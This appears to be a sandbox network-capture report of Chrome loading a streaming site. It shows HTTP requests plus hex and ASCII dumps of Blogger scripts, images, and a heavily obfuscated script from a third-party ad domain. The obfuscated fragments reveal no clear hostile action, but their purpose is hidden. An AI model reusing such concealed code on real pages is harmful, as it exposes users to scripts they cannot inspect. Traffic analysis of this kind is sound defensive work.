2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 62 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 0a 77 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 62 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 0a 77 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 69 66 28 74 68 69 73 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 Data Ascii: ?a:function(){return tb(this,function(b,c){return[b,c]})}});w("Array.prototype.keys",function(a){return a?a:function(){return tb(this,function(b){return b})}});w("String.prototype.startsWith",function(a){return a?a:function(b,c){if(this==null)throw new
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 78 74 28 29 29 2e 64 6f 6e 65 3b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 66 2e 76 61 6c 75 65 2c 67 2b 2b 29 29 7d 65 6c 73 65 20 66 6f 72 28 66 3d 62 2e 6c 65 6e 67 74 68 2c 67 3d 30 3b 67 3c 66 3b 67 2b 2b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 62 5b 67 5d 2c 67 29 29 3b 72 65 74 75 72 6e 20 65 7d 7d 29 3b 0a 77 28 22 4f 62 6a 65 63 74 2e 76 61 6c 75 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 5b 5d 2c 64 3b 66 6f 72 28 64 20 69 6e 20 62 29 72 62 28 62 2c 64 29 26 26 63 2e 70 75 73 68 28 62 5b 64 5d 29 3b 72 65 74 75 72 6e 20 63 7d 7d 29 3b 77 28 22 4e 75 6d 62 65 72 2e 4d 41 58 5f 53 41 46 45 5f 49 4e 54 45 47 45 52 22 2c 66 75 6e 63 74 69 Data Ascii: xt()).done;)e.push(c.call(d,f.value,g++))}else for(f=b.length,g=0;g<f;g++)e.push(c.call(d,b[g],g));return e}});w("Object.values",function(a){return a?a:function(b){var c=[],d;for(d in b)rb(b,d)&&c.push(b[d]);return c}});w("Number.MAX_SAFE_INTEGER",functi
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 6e 64 6f 77 2e 6a 73 74 69 6d 69 6e 67 2e 6c 6f 61 64 2e 6e 61 6d 65 3d 61 2b 22 62 6c 6f 67 73 70 6f 74 22 3b 61 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 69 6d 67 22 29 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 61 5b 63 5d 2e 63 6f 6d 70 6c 65 74 65 3f 77 62 28 61 5b 63 5d 2c 22 70 6f 73 74 22 29 21 3d 6e 75 6c 6c 26 26 78 62 2e 61 70 70 6c 79 28 61 5b 63 5d 29 3a 77 62 28 61 5b 63 5d 2c 22 70 6f 73 74 22 29 21 3d 6e 75 6c 6c 26 26 76 62 28 61 5b 63 5d 2c 78 62 29 3b 76 62 28 77 69 6e 64 6f 77 2c 75 62 29 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 64 3d 7b 7d 2c 65 3d 77 69 6e 64 6f 77 2e 62 6c 6f 67 67 65 72 5f 62 6c 6f 67 5f 69 64 2c Data Ascii: ndow.jstiming.load.name=a+"blogspot";a=document.getElementsByTagName("img");for(var c=0;c<a.length;c++)a[c].complete?wb(a[c],"post")!=null&&xb.apply(a[c]):wb(a[c],"post")!=null&&vb(a[c],xb);vb(window,ub);a=function(){for(var d={},e=window.blogger_blog_id,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49744	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:48 UTC	875	OUT	GET /img/a/AVvXsEikTOrvZaqorznCY7bfF4hHeUoB7iqxGA6Lai59n6jBtTP-6vPF8cdimK59GMeqOtgojDBpcqDsJx8Tjd4m3RBrHihJF4GFqZC2pHaDHnXHi8s44GKacNua9X_ARVFEW4Pj1JPUQXPGajJNPH31EGKPwOf7fz4bZuxfETojB0-QXYz9qzzeNXw8ZGaMGlE=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:49 UTC	471	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd4a" Expires: Tue, 15 Oct 2024 22:39:49 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="1603572780.jpeg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:49 GMT Server: fife Content-Length: 7466 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:49 UTC	907	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 2c 01 00 00 03 a0 04 00 01 00 00 00 a9 00 00 00 00 00 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFlExifII12i:Google0220,C%# , #&'))-0-(0%()(C((((((((((((((((((((((((((((((((((((((
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 41 27 17 a4 e5 51 57 c2 b1 25 65 25 6b 96 37 73 b0 c8 93 7a c5 1a b6 b8 2c ed c4 5c ec a2 18 a2 05 1a 20 00 4d 30 40 0d 30 00 92 0b 19 10 93 52 d1 24 43 71 0b e7 94 ad 51 a0 8d 55 d2 56 93 30 9a 2b a8 94 02 04 0a d0 40 00 00 21 82 00 1a 06 26 00 00 14 c4 d0 43 84 09 58 14 34 0c 12 30 40 02 82 70 01 40 10 02 18 21 88 1a 03 ff c4 00 2f 10 00 02 02 02 01 02 03 06 05 05 00 00 00 00 00 00 01 02 00 03 04 11 05 10 12 13 21 30 06 14 20 31 35 40 15 22 23 24 34 32 33 41 50 60 ff da 00 08 01 01 00 01 05 02 ff 00 6f a9 af 8b 5e 5d 07 dc 01 02 cd 4d 4d 4e c9 a9 af 46 be c8 56 6a 6b d1 f2 f8 94 91 d0 08 16 2a c5 ae 78 53 c1 9e 03 43 49 86 b2 21 48 56 6b e2 1d 17 51 95 74 df 3e a7 d5 58 8b 29 ab 72 ac 5e e9 5f 1e 5a 1c 6c 6a 63 bd 6a 1e f3 3b fb 8d a9 54 34 03 1d 21 5e Data Ascii: A'QW%e%k7sz,\ M0@0R$CqQUV0+@!&CX40@p@!/!0 15@"#$423AP`o^]MMNFVjk*xSCI!HVkQt>X)r^_Zljcj;T4!^
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 10 20 23 30 40 b1 32 81 91 42 53 60 62 72 82 14 33 43 50 52 c1 d1 ff da 00 08 01 01 00 06 3f 02 fc 53 b7 3e 88 f3 ef 65 d9 92 c9 65 e5 dd 6c fa 08 ee e4 b2 5e 21 93 c0 2f 0e 83 7e 6b e1 67 d1 41 63 7e 8a ed c3 d1 6c 19 ef cf 6e 18 03 d2 cb 82 86 58 76 15 91 59 15 7e c8 76 7c 51 9e cb a9 dd ea 71 bb e1 0a c6 ca 54 85 b7 9a 9e e4 1b 1d c8 89 91 ea c0 e2 85 26 e4 df 26 ea 14 ef 1e 9a 70 3a 3a 2c 7a b7 60 e2 86 36 90 9b 51 ed c0 c3 91 28 b9 ad c5 87 dd 6a 83 c6 32 98 c7 66 fb db 25 b7 9e e4 6b 58 33 ae 6b 64 34 47 12 bf a7 f5 44 92 c8 1c d3 b5 6e 00 b7 30 57 c4 d5 89 b0 fe 43 35 86 93 0c b7 35 25 ed b8 b8 52 1a 5c de 22 ea 16 cd 3c 5d 2e 9c c7 02 d3 bc 15 2d 63 8f c9 41 10 b8 79 b5 9e 58 d2 fc 56 2a 8c fd e8 f7 54 fa 2d 19 8e 8d a6 44 71 4e d1 ea 58 67 49 ff Data Ascii: #0@2BS`br3CPR?S>eel^!/~kgAc~lnXvY~v\|QqT&&p::,z`6Q(j2f%kX3kd4GDn0WC55%R\"<].-cAyXV*T-DqNXgI
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 7e c1 e8 de 2c 7d df f0 46 ba 0a 95 02 f1 8c 6e 35 dc 8f b4 a5 d0 70 df 77 e2 70 db 14 f1 16 2b ee 4b 97 f7 87 77 95 f4 79 8b 1d 25 9e 0f fb 34 2b 9a 1f 12 b6 79 1f de 5e 4c 8d f6 30 6f 0a d6 bf dd cc 8b fe 97 0f 18 2b 9c 77 8e 80 e4 16 db 92 2a a8 3b 2e d9 c5 06 30 7c 5c 58 8f 0b 2f b8 cc a5 e7 3e 6e 8f dc a9 c0 e4 b4 d1 af dc b1 00 02 ed ad fe 2e 78 5e 1f ee bb b1 5b 55 ec 10 e9 5d 15 20 4d 4b a5 2a 9a 95 06 ca 4e 0f 95 8b 94 4c b4 fa 93 93 a6 52 67 60 84 87 fa 1d bb a9 e3 a2 59 58 98 36 92 57 da 3f 3c dd 77 39 98 5c 9b 70 26 12 5b c1 cf 84 57 97 e8 45 00 51 46 10 7c b6 a5 38 82 0b 94 10 b1 e8 29 85 e5 ca 5b 2a dd 51 06 69 b2 9b 9f 52 11 67 41 1a 95 13 62 e8 ba 5f 8f 1f cc 0f 7a da 8d 71 c4 a1 99 2e 88 4e 49 96 07 41 b2 b8 83 9d 13 50 b8 12 69 a5 e2 ab Data Ascii: ~,}Fn5pwp+Kwy%4+y^L0o+w;.0\|\X/>n.x^[U] MKNLRg`YX6W?<w9\p&[WEQF\|8)[*QiRgAb_zq.NIAPi
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 44 95 2b 53 89 58 62 71 38 95 1e 13 1e 26 d2 b6 c1 31 2b 44 ab ee 3d 23 aa bf 53 97 d5 d7 ad 63 72 b3 52 bd 10 1b b5 79 96 a5 66 ba 95 88 26 87 89 6b 56 98 25 b8 4d ea ea 5e b5 1a 04 3e 91 e1 bf 69 c7 11 a4 a2 e5 7d 4d a9 bd 13 07 59 97 bd 4d c7 30 2f a4 63 cf 88 d1 ca e0 ac 0f c4 c7 7a e7 de 30 62 25 c4 a9 ab 9b 7a f1 38 9e de bc 40 87 98 62 89 81 db 2d 7b 81 66 22 2b 4d ce 00 d7 32 a6 9d 45 86 ae 5b 22 b8 a3 3a 7b 82 81 52 2e b8 8d 78 63 6f d2 ea 54 48 ee e0 9f 31 f1 15 e1 80 af 98 6a a6 5d c1 90 45 43 07 0c 5d f1 73 67 53 88 6e 90 8a 75 d4 61 3b 8c 1a f5 1c 46 1a 5f 25 eb 7c 7c 6b d0 3e e5 43 da 03 a9 4a 60 c1 c9 77 fd 4a 2d ea 58 f3 11 75 75 15 16 79 89 b4 25 ff 00 22 0a 05 5e a5 ce 1a 0c 1a 30 62 39 85 5b 88 2b 45 f1 17 68 47 b4 35 84 5a dd f3 2b 4a Data Ascii: D+SXbq8&1+D=#ScrRyf&kV%M^>i}MYM0/cz0b%z8@b-{f"+M2E[":{R.xcoTH1j]EC]sgSnua;F_%\|\|k>CJ`wJ-Xuuy%"^0b9[+EhG5Z+J
2024-10-14 22:39:49 UTC	1047	IN	Data Raw: 98 7a 9b 87 4f 96 ec 56 22 8c 2b cf 55 16 bc 82 5b d1 76 77 70 16 7b 47 33 f6 6c 8d 96 30 63 58 71 1b 16 00 a7 15 33 d4 a2 55 10 ef 14 71 f1 1a 86 c5 06 b8 07 c9 71 90 4c 69 61 a7 0b ce 7e 21 23 ab 31 98 a4 47 f6 9f f6 4c d7 79 1b bf 64 74 64 4e 77 17 ae 18 80 d6 9d 85 3f 98 4c c5 2e 9a a0 a7 ea 2c 70 95 d0 32 3e 33 f0 d7 10 24 6d 18 11 c8 bd d3 47 b4 38 53 f0 07 b4 d9 88 4d 2e 52 7b bc 5c c9 84 07 16 c2 e8 d2 5b 1c 4b 76 f6 91 a6 cb 2e 17 de 0a 98 4b d0 11 a0 ee 31 2e b4 53 17 2d 38 a8 ba d0 0e 30 ad df cc 7f 86 23 7c 37 1b 7a dc 72 fa e8 4f 09 58 17 98 30 51 54 50 c6 27 4a f0 cb 3d f7 0c c5 da 69 f9 96 37 88 58 15 ab a3 5e 21 78 84 86 0e 41 6d 9c 4a a1 6b d3 b9 75 bc a6 e9 92 20 d3 b8 a5 17 98 ad 66 23 00 a1 9f f7 1d 68 5c 1b e1 81 85 82 fd ce 20 01 48 Data Ascii: zOV"+U[vwp{G3l0cXq3UqqLia~!#1GLydtdNw?L.,p2>3$mG8SM.R{\[Kv.K1.S-80#\|7zrOX0QTP'J=i7X^!xAmJku f#h\ H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49742	142.250.185.105	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:48 UTC	629	OUT	GET /dyn-css/authorization.css?targetBlogID=6282888993036066443&zx=4f118a4f-0975-433c-acbe-bd56357139a6 HTTP/1.1 Host: www.blogger.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:49 UTC	1132	IN	HTTP/1.1 200 OK P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info." Content-Security-Policy: script-src 'self' .google.com .google-analytics.com 'unsafe-inline' 'unsafe-eval' .gstatic.com .googlesyndication.com .blogger.com .googleapis.com uds.googleusercontent.com https://s.ytimg.com https://i18n-cloud.appspot.com https://www.youtube.com www-onepick-opensocial.googleusercontent.com www-bloggervideo-opensocial.googleusercontent.com www-blogger-opensocial.googleusercontent.com https://www.blogblog.com; report-uri /cspreport Content-Type: text/css; charset=UTF-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 14 Oct 2024 22:39:49 GMT Last-Modified: Mon, 14 Oct 2024 22:39:49 GMT X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-14 22:39:49 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-10-14 22:39:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49743	139.45.197.242	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:49 UTC	531	OUT	GET /tag.min.js HTTP/1.1 Host: glakraptaidsupi.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:49 UTC	970	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:49 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 71223 Connection: close X-Trace-Id: 0832819558f6eb6e9142768ba93349fa Cache-Control: no-transform, no-store, no-cache, must-revalidate, max-age=0 Accept-Ranges: bytes Last-Modified: Mon, 14 Oct 2024 15:31:29 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, baggage, sentry-trace, favicon Access-Control-Max-Age: 86400 Pragma: no-cache Expires: Tue, 11 Jan 1994 10:00:00 GMT Timing-Allow-Origin: * Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:49 UTC	15414	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 7a 2c 72 4b 2c 4b 4b 2c 6a 4b 29 7b 28 28 29 3d 3e 7b 76 61 72 20 49 3d 7a 2e 5a 72 28 29 2c 59 6e 3d 7a 2e 45 62 5b 7a 2e 59 62 5d 28 7a 2e 65 29 5b 7a 2e 51 6a 5d 28 29 5b 7a 2e 69 72 5d 28 7a 2e 65 29 3b 74 79 70 65 6f 66 20 72 4b 3c 7a 2e 78 26 26 28 49 5b 7a 2e 76 72 5d 3d 72 4b 2c 74 79 70 65 6f 66 20 72 4b 5b 7a 2e 51 72 5d 3c 7a 2e 78 26 26 28 49 5b 7a 2e 56 6a 5d 3d 72 4b 5b 7a 2e 51 72 5d 29 29 3b 74 79 70 65 6f 66 20 4b 4b 3c 7a 2e 78 26 26 28 49 5b 7a 2e 4f 72 5d 3d 4b 4b 2c 49 5b 7a 2e 77 4b 5d 3d 4b 4b 5b 59 6e 5d 29 3b 74 79 70 65 6f 66 20 6a 4b 3c 7a 2e 78 26 26 28 49 5b 7a 2e 53 72 5d 3d 6a 4b 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 72 28 29 7b 76 61 72 20 74 3d 49 5b 7a 2e 4f 72 5d 3b 74 72 79 7b 49 5b 7a 2e 4a Data Ascii: (function(z,rK,KK,jK){(()=>{var I=z.Zr(),Yn=z.Eb[z.Yb](z.e)[z.Qj]()[z.ir](z.e);typeof rK<z.x&&(I[z.vr]=rK,typeof rK[z.Qr]<z.x&&(I[z.Vj]=rK[z.Qr]));typeof KK<z.x&&(I[z.Or]=KK,I[z.wK]=KK[Yn]);typeof jK<z.x&&(I[z.Sr]=jK);function lr(){var t=I[z.Or];try{I[z.J
2024-10-14 22:39:49 UTC	16384	IN	Data Raw: 7d 63 61 74 63 68 28 6c 29 7b 67 28 7a 2e 63 59 29 7d 72 65 74 75 72 6e 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 50 74 28 74 2c 65 2c 72 2c 6e 29 7d 2c 41 6f 29 7d 76 61 72 20 51 72 3d 7a 2e 5a 72 28 7a 2e 6d 72 2c 7a 2e 4c 2c 7a 2e 6f 72 2c 7a 2e 54 72 2c 7a 2e 50 72 2c 7a 2e 76 2c 7a 2e 66 72 2c 7a 2e 78 4b 29 2c 42 6f 3d 7a 2e 54 72 2a 7a 2e 72 4b 2a 7a 2e 47 2c 7a 6f 3d 7a 2e 44 3b 66 75 6e 63 74 69 6f 6e 20 58 72 28 29 7b 76 61 72 20 74 3d 7a 2e 5a 72 28 29 3b 72 65 74 75 72 6e 20 45 72 72 6f 72 5b 7a 2e 57 4d 5d 28 74 2c 58 72 29 2c 74 5b 7a 2e 6f 6a 5d 7d 66 75 6e 63 74 69 6f 6e 20 24 6f 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 7a 2e 54 6a 2c 72 3d 74 5b 7a 2e 52 72 5d 3b 72 3b 29 65 3d 65 2a 7a 2e 63 4d 5e 74 5b 7a 2e Data Ascii: }catch(l){g(z.cY)}return setTimeout(function(){Pt(t,e,r,n)},Ao)}var Qr=z.Zr(z.mr,z.L,z.or,z.Tr,z.Pr,z.v,z.fr,z.xK),Bo=z.Trz.rKz.G,zo=z.D;function Xr(){var t=z.Zr();return Error[z.WM](t,Xr),t[z.oj]}function $o(t){for(var e=z.Tj,r=t[z.Rr];r;)e=e*z.cM^t[z.
2024-10-14 22:39:49 UTC	16384	IN	Data Raw: 7a 2e 6c 7d 2c 58 6f 3d 28 29 3d 3e 28 28 21 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 7c 7c 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 5b 7a 2e 43 6b 5d 28 7a 2e 6c 2c 7a 2e 54 72 29 21 3d 3d 7a 2e 48 45 29 26 26 28 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 3d 7a 2e 48 45 5b 7a 2e 57 4b 5d 28 4d 61 74 68 5b 7a 2e 4e 4d 5d 28 29 5b 7a 2e 58 4d 5d 28 7a 2e 6e 45 29 5b 7a 2e 43 6b 5d 28 7a 2e 54 72 29 29 29 2c 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 6b 5d 29 2c 77 6e 3d 74 3d 3e 7a 2e 65 5b 7a 2e 57 4b 5d 28 74 2c 7a 2e 4f 4b 29 5b 7a 2e 57 4b 5d 28 58 6f 28 29 29 2c 74 65 3d 74 3d 3e 48 74 3f 69 5b 7a 2e 76 72 5d 5b 7a 2e 67 72 5d 5b 77 6e 28 74 29 5d 3a 69 5b 7a 2e 76 72 5d 5b 7a 2e 77 72 5d 5b 74 5d 2c 72 65 3d 28 74 2c 65 29 3d 3e 7b 48 74 3f 69 5b 7a 2e 76 72 5d 5b 7a Data Ascii: z.l},Xo=()=>((!i[z.vr][z.gk]\|\|i[z.vr][z.gk][z.Ck](z.l,z.Tr)!==z.HE)&&(i[z.vr][z.gk]=z.HE[z.WK](Math[z.NM]()[z.XM](z.nE)[z.Ck](z.Tr))),i[z.vr][z.gk]),wn=t=>z.e[z.WK](t,z.OK)[z.WK](Xo()),te=t=>Ht?i[z.vr][z.gr][wn(t)]:i[z.vr][z.wr][t],re=(t,e)=>{Ht?i[z.vr][z
2024-10-14 22:39:49 UTC	16384	IN	Data Raw: 65 29 5b 7a 2e 65 72 5d 28 45 3d 3d 7a 2e 73 3f 76 6f 69 64 20 7a 2e 6c 3a 45 5b 7a 2e 72 6a 5d 29 26 26 28 45 3d 3d 7a 2e 73 3f 76 6f 69 64 20 7a 2e 6c 3a 45 5b 7a 2e 42 6b 5d 5b 7a 2e 51 6b 5d 29 3d 3d 3d 76 6f 69 64 20 7a 2e 6c 2c 6a 2c 70 74 2c 57 65 2c 6f 72 3b 7a 2e 65 21 3d 3d 7a 2e 65 26 26 28 61 72 3d 50 65 28 7a 2e 65 29 29 3b 69 5b 7a 2e 76 72 5d 5b 7a 2e 45 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6f 72 26 26 6f 72 28 74 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 77 69 28 74 2c 65 29 7b 6c 65 74 20 6e 3d 6e 65 77 20 44 61 74 65 28 29 5b 7a 2e 7a 4b 5d 28 29 2c 6f 3d 21 7a 2e 4c 2c 61 3d 7a 2e 6c 2c 73 3d 7a 2e 65 3b 45 26 26 28 73 3d 61 65 28 45 5b 7a 2e 72 6a 5d 29 29 3b 6c 65 74 20 64 3d 63 3d 3e 7b 63 5b 7a 2e 57 6a 5d 26 26 4f 62 6a 65 63 74 Data Ascii: e)[z.er](E==z.s?void z.l:E[z.rj])&&(E==z.s?void z.l:E[z.Bk][z.Qk])===void z.l,j,pt,We,or;z.e!==z.e&&(ar=Pe(z.e));i[z.vr][z.Er]=function(t){or&&or(t)};function wi(t,e){let n=new Date()[z.zK](),o=!z.L,a=z.l,s=z.e;E&&(s=ae(E[z.rj]));let d=c=>{c[z.Wj]&&Object
2024-10-14 22:39:49 UTC	6657	IN	Data Raw: 3a 27 64 71 79 61 68 71 45 6f 64 75 62 66 4d 72 66 71 64 58 61 6d 70 20 27 2c 4c 43 3a 33 36 65 35 2c 4e 43 3a 27 6f 74 71 6f 77 45 71 65 65 75 61 7a 4f 67 65 66 61 79 57 71 6b 27 2c 46 43 3a 27 4e 4d 4f 57 4f 58 4f 57 27 2c 71 43 3a 27 4f 41 58 58 51 4f 46 5f 55 59 42 44 51 45 45 55 41 5a 5f 46 44 55 51 45 27 2c 52 43 3a 27 66 75 79 71 58 61 6d 70 71 70 27 2c 6d 43 3a 27 75 65 42 64 71 72 71 66 6f 74 75 7a 73 27 2c 6f 43 3a 27 75 65 55 79 62 64 71 65 65 75 61 7a 4f 61 78 78 71 6f 66 71 70 27 2c 54 43 3a 27 72 75 64 65 66 42 64 71 72 71 66 6f 74 45 66 6d 64 66 27 2c 50 43 3a 27 72 75 64 65 66 42 64 71 72 71 66 6f 74 50 61 7a 71 27 2c 66 43 3a 27 70 75 65 6d 6e 78 71 70 4e 6b 45 71 64 68 71 64 44 71 6d 65 61 7a 65 27 2c 78 47 3a 27 71 6d 64 78 6b 2d 6f 78 Data Ascii: :'dqyahqEodubfMrfqdXamp ',LC:36e5,NC:'otqowEqeeuazOgefayWqk',FC:'NMOWOXOW',qC:'OAXXQOF_UYBDQEEUAZ_FDUQE',RC:'fuyqXampqp',mC:'ueBdqrqfotuzs',oC:'ueUybdqeeuazOaxxqofqp',TC:'rudefBdqrqfotEfmdf',PC:'rudefBdqrqfotPazq',fC:'puemnxqpNkEqdhqdDqmeaze',xG:'qmdxk-ox

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49751	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:49 UTC	1040	OUT	GET /img/b/R29vZ2xl/AVvXsEhtpR6cISipQPMQTOi9vtx-JohqqdWbtTQEIRvNkY1Wa5Z1BG7Q2clhNFMRPcLlqhgk9MUo_-Xf_PvgkQrh3f9ipQkNBpt616ILI_4UAcG9C9DUBJ1a-vtToI8HWMPgMmUw3qkNwDtiIJiIMO2Ef3PBgpLLZntjsYJCKeYb49ppUuICD1WO37tnL9GVEoc/s1600/demon-slayer-hashiras-and-muzan-poiyga4v7urv2lh4.jpg HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
